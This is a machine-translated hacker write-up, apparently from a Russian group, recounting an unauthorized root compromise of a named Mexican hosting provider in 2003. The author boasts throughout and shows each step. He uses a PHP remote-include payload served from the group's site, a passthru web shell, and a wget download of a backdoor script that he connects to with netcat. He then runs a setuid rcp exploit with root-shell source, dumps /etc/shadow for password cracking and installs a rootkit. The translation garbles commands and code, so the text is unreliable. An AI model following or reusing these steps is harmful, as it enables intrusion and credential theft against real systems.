This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Hosting-Provider


Intro.
Ich beschloss, gerade dieses Hacken zu beschreiben, weil es ziemlich kürzlich geschah (außerdem ist an diesem Punkt - am 23. Januar 2003 - der Server noch in den Händen von DHG sozusagen) auch der General mich vor langer Zeit gebeten, etwas interessantes Hacken zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Werkzeug für die Gräueltaten anderer Menschen ist, also geben wir absichtlich einige Fehler / Ungenauigkeiten zu (die jedoch jeder fortgeschrittene Benutzer bemerken wird). Nun, auch elementare Dinge wie "Linux-Befehle auch an welchem ​​Ort zu schauen, wie man einen Körper kompiliert" kauen, tun wir nicht. Also, lass uns gehen.

Runde # 1: Fernbedienung.
Generell war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst war es notwendig, die Achse herauszufinden, auf der dieses Portal steht. Obwohl, der Stumpf ist klar, dass die Website über Linux in keiner Weise an Windows hängen kann. Auf http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", lautete das ftp-banner:
managedhosting FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) fertig.
Scannen Sie die Ports, cgi-bug'i und solchen Unsinn, wir wurden nicht - genauer gesagt, beschlossen, für später zu verschieben. Nun, ich wollte auch nicht die IP abdecken. Also, im FTP-Banner blitzte der Ausdruck "Hosting" auf! Scoring in Ripnet, entschieden wir uns direkt an ip'u zu richten, die www. *** hatte Com. Er brachte mich auf die Website "managedhosting.dialtoneinternet.com.mx", die offensichtlich sein Gastgeber war. Später wurde eine kurze manuelle Bruteforce'a der realen Website Hosting berechnet: dialtoneinternet.com.mx (www.dialtone.com).
Daraufhin haben wir uns entschieden, vorerst auch zu der defekten Anlage zurückzukehren. Er war auf der PHP-Engine "phpWebSite" von unbekannter Version. Dieser reguläre Php-Nuke-Klon unterschied sich in keiner Weise mit einem besonderen Schwerpunkt auf Sicherheit. Alle Versionen von PWS bis 0.8.2 (sogar mit der Markierung Stable) hatten eine Schwachstellenklasse 'Php source injection'. Diejenigen, denen nichts dies sagt nichts, siehe r4ShRaY Artikel über diese Sicherheitsanfälligkeit. Der Rest, lesen Sie weiter. Hier ist ein Stück der Datei "modsecurity.php":

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, hier sollte alles klar existieren. Dieses Skript auf ähnliche Weise ausführen:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die Datei htmlheader.php, die auf unserer Site liegt, wird mit the_exe_defined_paces ausgeführt. Das einzige, was mich störte, war, dass die angegriffene Seite gepatcht wurde, oder eine neuere Version (schließlich ist es nicht irgendeine Art von "Vasyas Homepage", sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir eine Datei htmlheader.php auf unserer Website erstellt, die den folgenden Inhalt hat:

<? passthru ("$ cmd")?>

Dann ging an die Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Auf was wir den Katalog erhalten haben, der WWW auflistet. # Hinweis. Weiter alle Befehle, die ich ohne "...? Inc_prefix = http: // ..." schreiben werde!

Runde # 2: Lokal.
> echo hi> kewl.txt; Katze kewl.txt
Auf diese beiden Befehle reagierte der Browser mit einem leeren schneeweißen Bildschirm. Dies zeigte an, dass ich nicht das Recht hatte, in das www-Verzeichnis zu schreiben. Das heißt, es ist zu früh, um über die Verunstaltung zu sprechen. Nun, bevor weitere Maßnahmen ergriffen wurden, war es notwendig, mehr Informationen über das System zu sammeln. Die Hauptsache, die wir gemacht haben, war die Datei httpd.conf zu bekommen:
> cat /etc/httpd/conf/httpd.conf
Von dort rissen wir die Version des Newsreaders heraus (übrigens, der http-Header 'Server' war still über das Vorhandensein von FrontPage), auch der Weg zu den www-Verzeichnissen der Seiten: dialtoneinternet.com.mx (defekter Hosting-Provider), stormarketing.com, altavistablinds.com, parigitown.com, na ja, auch zu mehreren großen Ressourcen:
# -FrontPage- Version = 4.0
##
## httpd.conf - Apache HTTP-Serverkonfigurationsdatei
##
...
<VirtuellerHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen Alle
Alle zulassen
</ Verzeichnis>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog-Protokolle / Fehlerprotokoll
TransferLog-Protokolle / transfer_log
Gruppe niemand
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtuellerHost>
...
Natürlich, um sie zu verunstalten, gibt es nicht genug Rechte, aber sie sind völlig genug, um den phronischen Dienst zu sehen. (Wenn überhaupt) von diesen Seiten, mit allen daraus folgenden Konsequenzen;) Diese Gelegenheit haben wir auf diesem Abenteuer verlassen, wenn ich In irgendeiner Weise wird es nicht möglich sein, die Privilegien zu erhöhen.
Als nächstes haben wir für Interesse eingeführt:
> netstat -a
Was ich bekam (# - meine Tags):
  Aktive Internetverbindungen (Server und eingerichtet)
 Proto Recv-Q Send-Q Lokale Adresse Ausländischer Adressstatus 
 tcp 0 1 66.33.62. *: 2114 von.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226:3116 EINGEFÜHRT 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: Domäne *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: Domäne *: * 
 udp 0 0 managedhosting2.:Domäne *: * 
 udp 0 0 spacebattles.net: Domäne *: * 
 udp 0 0 66.33.62. *: Domäne *: * 
 udp 0 0 localhost.locald: Domäne *: * 
 roh 0 0 *: udp *: * 7 
 roh 0 0 *: tcp *: * 7 
 roh 0 0 *: icmp *: * 7 
 roh 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und installiert)
 Proto RefCnt Flags Typ Status I-Knoten Pfad
 Unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 Unix 0 [ACC] STREAM HÖREN 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM HÖREN 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) ist wir =)
(2) - das Vorhandensein von SSL drückt normalerweise den Austausch privater Informationen mit dem Server aus (zB CC). Obwohl, für das Hosting ist es in der Reihenfolge der Dinge.
(3) - Hier ist er! Er wird später nützlich sein.
Ich musste auch keine Ports scannen :)
Als nächstes war es notwendig, zu einigen spezifischen Aktionen zu gehen, oder besser gesagt, zumindest fast die Version des Cap plus zu kennen, ausgehend von diesem, bereits weiter zu tanzen. Also, für diejenigen, die nicht wissen, einige (wenn nicht alle) Linux-Distributionen die Datei "* -release" (wobei * ist der Name der Distribution: Mandrake-Release, Kobalt-Release ...) in der / etc / Auch Admins haben keine Möglichkeit, es zu beseitigen.
> Katze / etc / Redhat-Veröffentlichung:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, muss ich sagen, das haben wir nicht erwartet :) Der ganze Rest der Blabla war eine Frage der Technologie. Um die lang erwartete rue zu erreichen, entschieden wir uns, die Anfälligkeit von RedHat in rcp zu nutzen.

Red Hat 6.2: RCP mögliches Wurzelloch
In der Tat wurde die Sicherheitslücke in Cap 6.2 gefunden, über Andrew in der Post von Andrew Griffiths und Tlabs sagte kein Wort. Ponadeyavshis Glück, haben wir eingeführt:
> ls -alF `welche rcp`
-rwsr-xr-x 1 Wurzelwurzel 14868 30. Juli 1999 / usr / bin / rcp *
Op! Der Suid RCP besitzt das Zimmer zu sein! Es ist schon gut :) Ich habe mir "rcpsploit.pl" von tlabs plus gegossen, die Quelle studiert, hat angehalten. Ich werde vielleicht erklären, wie dieser Körper funktioniert, vielleicht wird er Ihnen helfen, das Wesen der Verletzlichkeit des entstandenen Problems zu verstehen.
Also erstellt es 2 Dateien:
/tmp/shell.cbt------------------

#include
#include
int Haupt ()
{
Setuid (0);
Setgid (0);
execl ("/ bin / sh", "sh", 0);
gebe 0 zurück;
}


hey ------------------------------
Sploit geschrieben von tlabs, danke an Andrew Griffiths für den Fehlerbericht

Dann wird durch das suid rcp die Shell der shell.c auch als chmodom als ein solches blah-blah-suid zusammengeführt. Das ist auch alles! Das Ausführen der kompilierten Shell erhält ebenfalls eine Shell mit uid = 0, gid = 0. Aber was nutzt uns diese Shell, wenn wir Befehle über einen Webserver ausführen? : - /
Um diese solide Arbeit zu ermöglichen, war nur die "normale" Shell erlaubt.
Du brauchst eine Muschel? Er wird! In meinem warez-Archiv wurde schon vor langer Zeit ein langer Trojaner entstaubt, den wir auch verwendet haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. 51015
Verbunden haben:
> CD / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Okay, zu einfach, wir starten einfach eine Muschel, lassen hoffen, dass die Scheiße gut ging. :)
> id
uid = 0 (root) gid = 0 (root) gruppen = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
Das ist auch alles :) Nun auch der letzte:
> Katze / etc / Schatten
Wurzel: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
Dämon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... usw.
JTR zählte 977 Passwörter%) Um die Pleite zu beschleunigen, führten wir ein:
john -i: alles -u: Wurzelschatten
Irgendwo 8 Stunden und ... lang erwarteter Moment:




Dann habe ich dort lrk hineingegossen, ein paar Datapipes auch bnc ... obwohl das eine ganz andere Geschichte ist ....

Was wurde während des Hackens verwendet:
Netscape v.xz
secureCRT 3.1
NetCat
John der Reißer
backhole.pl
rcpsploit.pl
Gehirne
PacketStormSicherheit

Schlussfolgerungen / Bemerkungen / Kommentare:
1. Wenn ein bestimmter Server als Hosting-Provider oder als Linux-Portal wichtig ist, bedeutet dies nicht, dass er gut geschützt ist.
2. Während des Hackens sollten Sie nicht ausdrücklich Ihren eigenen Typ deklarieren (dies wird später zu einem Artikel).
3. Beim Hacken, fast nie verwendet, die sogenannte "Hacker" -Software.
4. RH6. * - nicht essen gud :)

PS IMHO, der Leser mag den Eindruck haben, dass ich einfach Glück hatte, auch das totale Hacken dauerte ein paar Minuten. Das ist nicht so. Es gab Momente, in denen meine Hände einfach fielen, und ich wollte meinen Kopf gegen die Wand kämpfen.

Autor: D4rkGr3y


Das Material wird mit Erlaubnis der DHGROUP veröffentlicht (http://www.dhgroup.org)